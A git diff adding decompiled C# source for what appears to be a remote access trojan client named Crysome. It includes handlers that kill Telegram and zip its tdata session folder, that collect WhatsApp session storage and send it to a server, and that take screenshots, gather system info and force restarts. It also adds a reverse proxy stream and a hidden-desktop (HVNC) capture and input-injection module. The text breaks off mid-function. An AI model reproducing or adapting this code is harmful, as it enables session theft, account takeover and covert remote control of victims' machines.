input[0].type = 1; + input[0].U.ki = new KEYBDINPUT { wVk = vk, dwFlags = down ? 0u : 2u }; + SendInput(1, input, INPUT.Size); + } + + [DllImport("user32.dll", SetLastError = true)] + private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize); + + [DllImport("user32.dll")] + private static extern int GetSystemMetrics(int nIndex); +} diff --git a/Crysome.Client/Crysome.Client.Handlers/ReverseProxyStream.cs b/Crysome.Client/Crysome.Client.Handlers/ReverseProxyStream.cs new file mode 100644 index 0000000..2a6d4c8 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/ReverseProxyStream.cs @@ -0,0 +1,144 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading; + +namespace Crysome.Client.Handlers; + +internal sealed class ReverseProxyStream : Stream +{ + private readonly Queue _chunks = new Queue(); + + private byte[] _currentChunk; + + private int _currentOffset; + + private readonly object _lock = new object(); + + private bool _closed; + + private readonly Action _sendToServer; + + public override bool CanRead => true; + + public override bool CanWrite => true; + + public override bool CanSeek => false; + + public override long Length + { + get + { + throw new NotSupportedException(); + } + } + + public override long Position + { + get + { + throw new NotSupportedException(); + } + set + { + throw new NotSupportedException(); + } + } + + public ReverseProxyStream(Action sendToServer) + { + _sendToServer = sendToServer ?? throw new ArgumentNullException("sendToServer"); + } + + public void Push(byte[] data) + { + if (data == null || data.Length == 0) + { + return; + } + lock (_lock) + { + if (!_closed) + { + _chunks.Enqueue(data); + Monitor.Pulse(_lock); + } + } + } + + public void CloseFromRemote() + { + lock (_lock) + { + _closed = true; + Monitor.PulseAll(_lock); + } + } + + public override int Read(byte[] buffer, int offset, int count) + { + if (buffer == null || offset < 0 || count <= 0) + { + return 0; + } + lock (_lock) + { + int num = 0; + while (num < count) + { + if (_currentChunk != null && _currentOffset < _currentChunk.Length) + { + int num2 = Math.Min(count - num, _currentChunk.Length - _currentOffset); + Array.Copy(_currentChunk, _currentOffset, buffer, offset + num, num2); + _currentOffset += num2; + num += num2; + if (_currentOffset >= _currentChunk.Length) + { + _currentChunk = null; + _currentOffset = 0; + } + if (num > 0) + { + return num; + } + } + if (_chunks.Count > 0) + { + _currentChunk = _chunks.Dequeue(); + _currentOffset = 0; + continue; + } + if (_closed) + { + return (num > 0) ? num : 0; + } + Monitor.Wait(_lock); + } + return num; + } + } + + public override void Write(byte[] buffer, int offset, int count) + { + if (buffer != null && count > 0 && offset >= 0 && offset + count <= buffer.Length) + { + byte[] array = new byte[count]; + Array.Copy(buffer, offset, array, 0, count); + _sendToServer(array); + } + } + + public override long Seek(long offset, SeekOrigin origin) + { + throw new NotSupportedException(); + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } + + public override void Flush() + { + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/SystemHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/SystemHandlers.cs new file mode 100644 index 0000000..6609619 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/SystemHandlers.cs @@ -0,0 +1,80 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Windows.Forms; +using Crysome.Client.Configuration; +using Crysome.Client.Inventory; +using Crysome.Client.SystemInfo; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class SystemHandlers +{ + public static void HandleGetSystemInfo(CrysomeClient client, IPacket packet) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get(); + client.SendPacket((IPacket)new GetSystemInfoResponsePacket(ClientConfiguration.Identifier, client.LocalAddress.ToString(), client.Port, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem)); + } + + public static void HandleClientInfo(CrysomeClient client, IPacket packet) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get(); + client.SendPacket((IPacket)new ClientInfoResponsePacket(ClientConfiguration.Identifier, (client.RemoteAddress != null) ? client.RemoteAddress.Address.ToString() : "0.0.0.0", (client.RemoteAddress != null) ? client.RemoteAddress.Port : 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, systemInformation.GPU)); + InventoryReportBuilder.OnClientInfoPoll(client); + } + + public static void HandleGetDrives(CrysomeClient client, IPacket packet) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + long num = 0L; + GetDrivesRequestPacket val = (GetDrivesRequestPacket)(object)((packet is GetDrivesRequestPacket) ? packet : null); + if (val != null) + { + num = val.RequestId; + } + string[] array = (from d in DriveInfo.GetDrives() + select d.Name).ToArray(); + client.SendPacket((IPacket)new GetDrivesResponsePacket(array, num)); + } + + public static void HandleTakeScreenshot(CrysomeClient client, IPacket packet) + { + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Expected O, but got Unknown + byte[] array = null; + try + { + Rectangle bounds = Screen.PrimaryScreen.Bounds; + using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb); + using (Graphics graphics = Graphics.FromImage(bitmap)) + { + graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size, CopyPixelOperation.SourceCopy); + } + using MemoryStream memoryStream = new MemoryStream(); + bitmap.Save(memoryStream, ImageFormat.Png); + array = memoryStream.ToArray(); + } + catch (Exception) + { + array = new byte[0]; + } + client.SendPacket((IPacket)new TakeScreenshotResponsePacket(array ?? new byte[0])); + } + + public static void HandleRestart(CrysomeClient client, IPacket packet) + { + Process.Start("shutdown.exe", "-r -t 00"); + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/TelegramHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/TelegramHandlers.cs new file mode 100644 index 0000000..2cbe317 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/TelegramHandlers.cs @@ -0,0 +1,235 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; + +namespace Crysome.Client.Handlers; + +public static class TelegramHandlers +{ + private static readonly string[] TdataPaths = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Telegram Desktop\\tdata"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Telegram Desktop\\tdata") + }; + + private static readonly string[] BlacklistDirs = new string[14] + { + "dumps", "emojis", "emoji", "user_data", "working", "tdummy", "user_data#2", "user_data#3", "user_data#4", "user_data#5", + "updates", "temp", "log.txt", "log_full.txt" + }; + + private const long MaxZipBytes = 52428800L; + + private const long MaxFileBytes = 10485760L; + + public static void HandleTelegramSessionRequest(CrysomeClient client, IPacket packet) + { + Task.Run(delegate + { + DoCollectTelegramSession(client); + }); + } + + private static void DoCollectTelegramSession(CrysomeClient client) + { + string userName = ""; + try + { + userName = Environment.UserName; + } + catch + { + } + KillTelegram(); + string text = TdataPaths.FirstOrDefault((string p) => Directory.Exists(p) && Directory.GetFileSystemEntries(p).Length != 0); + if (string.IsNullOrEmpty(text)) + { + Send(client, userName, null, "Telegram tdata not found."); + return; + } + try + { + byte[] array = ZipTdata(text); + if (array == null || array.Length == 0) + { + Send(client, userName, null, "tdata folder is empty or all files were skipped."); + } + else + { + Send(client, userName, array, null); + } + } + catch (Exception ex) + { + Program.Log("TelegramSession error: " + ex.Message); + Send(client, userName, null, ex.Message); + } + } + + private static void KillTelegram() + { + string[] array = new string[2] { "Telegram", "telegram" }; + foreach (string processName in array) + { + try + { + Process[] processesByName = Process.GetProcessesByName(processName); + foreach (Process process in processesByName) + { + try + { + process.Kill(); + process.WaitForExit(2000); + } + catch + { + } + finally + { + try + { + process.Dispose(); + } + catch + { + } + } + } + } + catch + { + } + } + Thread.Sleep(800); + } + + private static byte[] ZipTdata(string tdataPath) + { + using MemoryStream memoryStream = new MemoryStream(); + using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true)) + { + long totalBytes = 0L; + PackDirectory(zip, tdataPath, "", ref totalBytes); + } + return memoryStream.ToArray(); + } + + private static void PackDirectory(ZipArchive zip, string dirPath, string entryBase, ref long totalBytes) + { + if (totalBytes >= 52428800) + { + return; + } + try + { + string[] files = Directory.GetFiles(dirPath); + foreach (string text in files) + { + if (totalBytes >= 52428800) + { + break; + } + string fileName = Path.GetFileName(text); + if (fileName.EndsWith(".txt", StringComparison.OrdinalIgnoreCase)) + { + continue; + } + long num = 0L; + try + { + num = new FileInfo(text).Length; + } + catch + { + continue; + } + if (num > 10485760 || num == 0L) + { + continue; + } + string entryName = (string.IsNullOrEmpty(entryBase) ? fileName : (entryBase + "/" + fileName)); + try + { + using Stream stream = zip.CreateEntry(entryName, CompressionLevel.Optimal).Open(); + using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); + byte[] array = new byte[81920]; + int num2; + while ((num2 = fileStream.Read(array, 0, array.Length)) > 0 && totalBytes + num2 <= 52428800) + { + stream.Write(array, 0, num2); + totalBytes += num2; + } + } + catch + { + } + } + } + catch + { + } + try + { + string[] files = Directory.GetDirectories(dirPath); + foreach (string text2 in files) + { + if (totalBytes < 52428800) + { + string fileName2 = Path.GetFileName(text2); + if (!IsBlacklisted(fileName2)) + { + string entryBase2 = (string.IsNullOrEmpty(entryBase) ? fileName2 : (entryBase + "/" + fileName2)); + PackDirectory(zip, text2, entryBase2, ref totalBytes); + } + continue; + } + break; + } + } + catch + { + } + } + + private static bool IsBlacklisted(string name) + { + string[] blacklistDirs = BlacklistDirs; + foreach (string b in blacklistDirs) + { + if (string.Equals(name, b, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + return false; + } + + private static void Send(CrysomeClient client, string userName, byte[] zip, string error) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Expected O, but got Unknown + try + { + client.SendPacket((IPacket)new TelegramSessionResponsePacket + { + UserName = userName, + ZipBytes = (zip ?? Array.Empty()), + Error = (error ?? "") + }); + } + catch (Exception ex) + { + Program.Log("TelegramSession send error: " + ex.Message); + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/WhatsAppHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/WhatsAppHandlers.cs new file mode 100644 index 0000000..0e73cfa --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/WhatsAppHandlers.cs @@ -0,0 +1,138 @@ +using System; +using System.IO; +using System.IO.Compression; +using System.Threading.Tasks; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; + +namespace Crysome.Client.Handlers; + +public static class WhatsAppHandlers +{ + private static long _totalBytes; + + private static readonly long MaxZipBytes = 52428800L; + + public static void HandleWhatsAppSessionRequest(CrysomeClient client, IPacket packet) + { + Task.Run(delegate + { + DoCollectWhatsAppSession(client); + }); + } + + private static void DoCollectWhatsAppSession(CrysomeClient client) + { + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Expected O, but got Unknown + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected O, but got Unknown + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Expected O, but got Unknown + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Expected O, but got Unknown + _totalBytes = 0L; + try + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "WhatsApp"); + if (!Directory.Exists(text)) + { + client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "WhatsApp not installed or no session found.", (byte[])null)); + return; + } + string[] array = new string[3] + { + Path.Combine(text, "Local Storage"), + Path.Combine(text, "Session Storage"), + Path.Combine(text, "IndexedDB") + }; + using MemoryStream memoryStream = new MemoryStream(); + using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true)) + { + string[] array2 = array; + foreach (string text2 in array2) + { + if (Directory.Exists(text2)) + { + string fileName = Path.GetFileName(text2); + AddDirectoryToZip(zip, text2, fileName, 52428800L); + } + } + } + byte[] array3 = memoryStream.ToArray(); + if (array3.Length == 0) + { + client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "No WhatsApp session files found.", (byte[])null)); + return; + } + client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(true, "", array3)); + Program.Log("WhatsApp session sent: " + array3.Length + " bytes"); + } + catch (Exception ex) + { + Program.Log("WhatsApp session error: " + ex.Message); + try + { + client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, ex.Message, (byte[])null)); + } + catch + { + } + } + } + + private static void AddDirectoryToZip(ZipArchive zip, string sourceDir, string zipFolder, long maxBytes, int depth = 0) + { + if (depth > 8 || _totalBytes > maxBytes) + { + return; + } + try + { + string[] files = Directory.GetFiles(sourceDir); + foreach (string text in files) + { + if (_totalBytes > maxBytes) + { + return; + } + try + { + FileInfo fileInfo = new FileInfo(text); + if (fileInfo.Length > 10485760) + { + continue; + } + string entryName = zipFolder + "/" + Path.GetFileName(text); + using Stream destination = zip.CreateEntry(entryName, CompressionLevel.Fastest).Open(); + using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete); + fileStream.CopyTo(destination); + _totalBytes += fileInfo.Length; + } + catch + { + } + } + } + catch + { + } + try + { + string[] files = Directory.GetDirectories(sourceDir); + foreach (string text2 in files) + { + if (_totalBytes > maxBytes) + { + break; + } + string zipFolder2 = zipFolder + "/" + Path.GetFileName(text2); + AddDirectoryToZip(zip, text2, zipFolder2, maxBytes, depth + 1); + } + } + catch + { + } + } +} diff --git a/Crysome.Client/Crysome.Client.Hvnc/HvncImagingHandler.cs b/Crysome.Client/Crysome.Client.Hvnc/HvncImagingHandler.cs new file mode 100644 index 0000000..e39b2ef --- /dev/null +++ b/Crysome.Client/Crysome.Client.Hvnc/HvncImagingHandler.cs @@ -0,0 +1,291 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.Runtime.InteropServices; + +namespace Crysome.Client.Hvnc; + +internal sealed class HvncImagingHandler : IDisposable +{ + private struct RECT + { + public int Left; + + public int Top; + + public int Right; + + public int Bottom; + } + + private const uint DESKTOP_GENERIC_ALL = 511u; + + private const uint GW_HWNDLAST = 1u; + + private const uint GW_HWNDPREV = 3u; + + private const int VERTRES = 10; + + private const int DESKTOPVERTRES = 117; + + private const uint SRCCOPY = 13369376u; + + public IntPtr Desktop { get; } + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetDC(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll")] + private static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect); + + [DllImport("user32.dll")] + private static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd); + + [DllImport("user32.dll")] + private static extern IntPtr GetTopWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetWindowDC(IntPtr hWnd); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateCompatibleDC(IntPtr hdc); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight); + + [DllImport("gdi32.dll")] + private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj); + + [DllImport("gdi32.dll")] + private static extern bool DeleteObject(IntPtr hObject); + + [DllImport("gdi32.dll")] + private static extern bool DeleteDC(IntPtr hdc); + + [DllImport("gdi32.dll")] + private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, uint dwRop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool CloseDesktop(IntPtr hDesktop); + + [DllImport("gdi32.dll")] + private static extern int GetDeviceCaps(IntPtr hdc, int nIndex); + + public HvncImagingHandler(string desktopName) + { + IntPtr intPtr = OpenDesktop(desktopName, 0, fInherit: true, 511u); + if (intPtr == IntPtr.Zero) + { + intPtr = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero); + } + Desktop = intPtr; + } + + private static float GetScalingFactor() + { + using Graphics graphics = Graphics.FromHwnd(IntPtr.Zero); + IntPtr hdc = graphics.GetHdc(); + int deviceCaps = GetDeviceCaps(hdc, 10); + int deviceCaps2 = GetDeviceCaps(hdc, 117); + graphics.ReleaseHdc(hdc); + return (deviceCaps > 0) ? ((float)deviceCaps2 / (float)deviceCaps) : 1f; + } + + private static bool IsMostlyBlack(Bitmap bmp) + { + if (bmp == null || bmp.Width == 0 || bmp.Height == 0) + { + return true; + } + int num = Math.Max(1, bmp.Width / 20); + int num2 = Math.Max(1, bmp.Height / 20); + int num3 = 0; + int num4 = 0; + BitmapData bitmapData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb); + try + { + int stride = bitmapData.Stride; + IntPtr scan = bitmapData.Scan0; + for (int i = 0; i < bmp.Height; i += num2) + { + for (int j = 0; j < bmp.Width; j += num) + { + int num5 = i * stride + j * 4; + byte b = Marshal.ReadByte(scan, num5); + byte b2 = Marshal.ReadByte(scan, num5 + 1); + byte num6 = Marshal.ReadByte(scan, num5 + 2); + num3++; + if (num6 < 20 && b2 < 20 && b < 20) + { + num4++; + } + } + } + } + finally + { + bmp.UnlockBits(bitmapData); + } + if (num3 > 0) + { + return num4 * 100 / num3 > 80; + } + return false; + } + + private bool DrawWindowBitBlt(IntPtr hWnd, Graphics g, IntPtr dc, RECT r, float scale) + { + int num = (int)((float)(r.Right - r.Left) * scale); + int num2 = (int)((float)(r.Bottom - r.Top) * scale); + if (num <= 0 || num2 <= 0) + { + return false; + } + IntPtr windowDC = GetWindowDC(hWnd); + if (windowDC == IntPtr.Zero) + { + return false; + } + IntPtr intPtr = CreateCompatibleDC(dc); + IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2); + IntPtr hgdiobj = SelectObject(intPtr, intPtr2); + bool flag = BitBlt(intPtr, 0, 0, num, num2, windowDC, 0, 0, 13369376u); + SelectObject(intPtr, hgdiobj); + if (flag) + { + try + { + using Bitmap image = Image.FromHbitmap(intPtr2); + g.DrawImage(image, r.Left, r.Top); + } + catch + { + flag = false; + } + } + DeleteObject(intPtr2); + DeleteDC(intPtr); + ReleaseDC(hWnd, windowDC); + return flag; + } + + private bool DrawWindow(IntPtr hWnd, Graphics g, IntPtr dc) + { + if (!GetWindowRect(hWnd, out var lpRect)) + { + return false; + } + float scalingFactor = GetScalingFactor(); + int num = (int)((float)(lpRect.Right - lpRect.Left) * scalingFactor); + int num2 = (int)((float)(lpRect.Bottom - lpRect.Top) * scalingFactor); + if (num <= 0 || num2 <= 0) + { + return false; + } + IntPtr intPtr = CreateCompatibleDC(dc); + IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2); + SelectObject(intPtr, intPtr2); + if (PrintWindow(hWnd, intPtr, 2u)) + { + try + { + using Bitmap original = Image.FromHbitmap(intPtr2); + using Bitmap bitmap = new Bitmap(original); + if (!IsMostlyBlack(bitmap)) + { + g.DrawImage(bitmap, lpRect.Left, lpRect.Top); + DeleteObject(intPtr2); + DeleteDC(intPtr); + return true; + } + } + catch + { + } + } + DeleteObject(intPtr2); + DeleteDC(intPtr); + return DrawWindowBitBlt(hWnd, g, dc, lpRect, scalingFactor); + } + + private void DrawTopDown(IntPtr owner, Graphics g, IntPtr dc) + { + IntPtr topWindow = GetTopWindow(owner); + if (topWindow == IntPtr.Zero) + { + return; + } + topWindow = GetWindow(topWindow, 1u); + while (topWindow != IntPtr.Zero) + { + if (IsWindowVisible(topWindow)) + { + DrawWindow(topWindow, g, dc); + } + topWindow = GetWindow(topWindow, 3u); + } + } + + public Bitmap Screenshot() + { + if (Desktop == IntPtr.Zero) + { + return null; + } + SetThreadDesktop(Desktop); + IntPtr dC = GetDC(IntPtr.Zero); + if (dC == IntPtr.Zero) + { + return null; + } + if (!GetWindowRect(GetDesktopWindow(), out var lpRect)) + { + ReleaseDC(IntPtr.Zero, dC); + return null; + } + float scalingFactor = GetScalingFactor(); + int num = (int)((float)lpRect.Right * scalingFactor); + int num2 = (int)((float)lpRect.Bottom * scalingFactor); + if (num <= 0 || num2 <= 0) + { + ReleaseDC(IntPtr.Zero, dC); + return null; + } + Bitmap bitmap = new Bitmap(num, num2); + using (Graphics g = Graphics.FromImage(bitmap)) + { + DrawTopDown(IntPtr.Zero, g, dC); + } + ReleaseDC(IntPtr.Zero, dC); + return bitmap; + } + + public void Dispose() + { + if (Desktop != IntPtr.Zero) + { + CloseDesktop(Desktop); + } + } +} diff --git a/Crysome.Client/Crysome.Client.Hvnc/HvncInputHandler.cs b/Crysome.Client/Crysome.Client.Hvnc/HvncInputHandler.cs new file mode 100644 index 0000000..d0c00dd --- /dev/null +++ b/Crysome.Client/Crysome.Client.Hvnc/HvncInputHandler.cs @@ -0,0 +1,469 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; + +namespace Crysome.Client.Hvnc; + +public class HvncInputHandler : IDisposable +{ + [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Unicode)] + private struct KEY_EVENT_RECORD + { + [FieldOffset(0)] + public int bKeyDown; + + [FieldOffset(4)] + public ushort wRepeatCount; + + [FieldOffset(6)] + public ushort wVirtualKeyCode; + + [FieldOffset(8)] + public ushort wVirtualScanCode; + + [FieldOffset(10)] + public char UnicodeChar; + + [FieldOffset(12)] + public uint dwControlKeyState; + } + + [StructLayout(LayoutKind.Explicit)] + private struct INPUT_RECORD + { + [FieldOffset(0)] + public ushort EventType; + + [FieldOffset(2)] + public KEY_EVENT_RECORD KeyEvent; + } + + private Utils.POINT lastPoint = new Utils.POINT + { + x = 0, + y = 0 + }; + + private IntPtr hResMoveWindow = IntPtr.Zero; + + private IntPtr resMoveType = IntPtr.Zero; + + private bool lmouseDown; + + private static object lockObject = new object(); + + private string DesktopName; + + public IntPtr Desktop = IntPtr.Zero; + + private const int STD_INPUT_HANDLE = -10; + + private const ushort KEY_EVENT = 1; + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool AttachConsole(uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool FreeConsole(); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetStdHandle(int nStdHandle); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool WriteConsoleInput(IntPtr hConsoleInput, INPUT_RECORD[] lpBuffer, uint nLength, out uint lpNumberOfEventsWritten); + + [DllImport("user32.dll")] + private static extern uint MapVirtualKey(uint uCode, uint uMapType); + + private static bool TrySendConsoleInput(IntPtr hWnd, uint vk, char ch) + { + try + { + Utils.GetWindowThreadProcessId(hWnd, out var ProcessId); + if (ProcessId == 0) + { + return false; + } + if (!AttachConsole(ProcessId)) + { + return false; + } + try + { + IntPtr stdHandle = GetStdHandle(-10); + if (stdHandle == IntPtr.Zero || stdHandle == new IntPtr(-1)) + { + return false; + } + ushort wVirtualScanCode = (ushort)MapVirtualKey(vk, 0u); + INPUT_RECORD iNPUT_RECORD = new INPUT_RECORD + { + EventType = 1, + KeyEvent = new KEY_EVENT_RECORD + { + bKeyDown = 1, + wRepeatCount = 1, + wVirtualKeyCode = (ushort)vk, + wVirtualScanCode = wVirtualScanCode, + UnicodeChar = ch, + dwControlKeyState = 0u + } + }; + INPUT_RECORD iNPUT_RECORD2 = new INPUT_RECORD + { + EventType = 1, + KeyEvent = new KEY_EVENT_RECORD + { + bKeyDown = 0, + wRepeatCount = 1, + wVirtualKeyCode = (ushort)vk, + wVirtualScanCode = wVirtualScanCode, + UnicodeChar = ch, + dwControlKeyState = 0u + } + }; + WriteConsoleInput(stdHandle, new INPUT_RECORD[2] { iNPUT_RECORD, iNPUT_RECORD2 }, 2u, out var _); + return true; + } + finally + { + FreeConsole(); + } + } + catch + { + return false; + } + } + + private static bool IsConsoleWindow(IntPtr hWnd) + { + StringBuilder stringBuilder = new StringBuilder(64); + Utils.RealGetWindowClass(hWnd, stringBuilder, 64); + return stringBuilder.ToString() == "ConsoleWindowClass"; + } + + public HvncInputHandler(string DesktopName) + { + this.DesktopName = DesktopName; + IntPtr intPtr = Utils.OpenDesktop(DesktopName, 0, fInherit: true, 511u); + if (intPtr == IntPtr.Zero) + { + intPtr = Utils.CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero); + } + Desktop = intPtr; + } + + public void Dispose() + { + if (Desktop != IntPtr.Zero) + { + Utils.CloseDesktop(Desktop); + } + GC.Collect(); + } + + public static int GET_X_LPARAM(IntPtr lParam) + { + return (short)(lParam.ToInt32() & 0xFFFF); + } + + public static int GET_Y_LPARAM(IntPtr lParam) + { + return (short)((lParam.ToInt32() >> 16) & 0xFFFF); + } + + public static IntPtr MAKELPARAM(int lowWord, int highWord) + { + return new IntPtr((highWord << 16) | (lowWord & 0xFFFF)); + } + + public void ResetWindowsTopDown(IntPtr ownerhWnd) + { + IntPtr topWindow = Utils.GetTopWindow(ownerhWnd); + if (topWindow == IntPtr.Zero) + { + return; + } + IntPtr window = Utils.GetWindow(topWindow, Utils.GetWindowType.GW_HWNDLAST); + if (window == IntPtr.Zero) + { + return; + } + while (window != IntPtr.Zero) + { + if (Utils.IsWindowVisible(window)) + { + Utils.SetWindowPos(window, IntPtr.Zero, 0, 0, 0, 0, 16469u); + } + window = Utils.GetWindow(window, Utils.GetWindowType.GW_HWNDPREV); + } + } + + public static void SendStringToWindow(IntPtr hWnd, string text) + { + for (int i = 0; i < text.Length; i++) + { + ushort num = Utils.VkKeyScan(text[i]); + if (num != ushort.MaxValue) + { + Utils.PostMessage(hWnd, 257u, (IntPtr)num, IntPtr.Zero); + continue; + } + break; + } + } + + public Process GetProcessFromhWnd(IntPtr handle) + { + try + { + Utils.GetWindowThreadProcessId(handle, out var ProcessId); + return Process.GetProcessById((int)ProcessId); + } + catch + { + } + return null; + } + + public string GetTopMostWindowName() + { + Utils.SetThreadDesktop(Desktop); + Process processFromhWnd = GetProcessFromhWnd(FindTopMostWindow()); + string processName = processFromhWnd.ProcessName; + processFromhWnd.Dispose(); + return processName; + } + + public IntPtr FindTopMostWindow() + { + IntPtr activeWindowHandle = IntPtr.Zero; + Utils.EnumDesktopWindows(Desktop, EnumWindowsCallback, IntPtr.Zero); + return activeWindowHandle; + bool EnumWindowsCallback(IntPtr hWnd, IntPtr lParam) + { + if (Utils.IsWindowVisible(hWnd)) + { + activeWindowHandle = hWnd; + } + return true; + } + } + + public void PasteText(string text) + { + Utils.SetThreadDesktop(Desktop); + IntPtr intPtr = FindTopMostWindow(); + if (!(intPtr == IntPtr.Zero)) + { + SendStringToWindow(intPtr, text); + } + } + + public void PasteFromClientClipboard() + { + IntPtr intPtr = FindTopMostWindow(); + if (!(intPtr == IntPtr.Zero)) + { + Utils.SendMessage(intPtr, 770u, IntPtr.Zero, IntPtr.Zero); + } + } + + public void Input(uint msg, IntPtr wParam, IntPtr lParam) + { + lock (lockObject) + { + Utils.SetThreadDesktop(Desktop); + _ = IntPtr.Zero; + bool flag = false; + Utils.POINT lpPoint = default(Utils.POINT); + IntPtr intPtr; + if (msg - 256 <= 2) + { + lpPoint = lastPoint; + intPtr = Utils.WindowFromPoint(lpPoint); + if (msg == 258 && intPtr != IntPtr.Zero && IsConsoleWindow(intPtr)) + { + char ch = (char)wParam.ToInt32(); + uint vk = (uint)wParam.ToInt32(); + TrySendConsoleInput(intPtr, vk, ch); + return; + } + } + else + { + flag = true; + lpPoint.x = GET_X_LPARAM(lParam); + lpPoint.y = GET_Y_LPARAM(lParam); + Utils.POINT pOINT = lastPoint; + lastPoint = lpPoint; + intPtr = Utils.WindowFromPoint(lpPoint); + switch (msg) + { + case 513u: + { + lmouseDown = true; + hResMoveWindow = IntPtr.Zero; + IntPtr intPtr2 = Utils.FindWindow("Button", null); + Utils.GetWindowRect(intPtr2, out var lpRect2); + if (Utils.PtInRect(ref lpRect2, lpPoint)) + { + Utils.PostMessage(intPtr2, 245u, IntPtr.Zero, 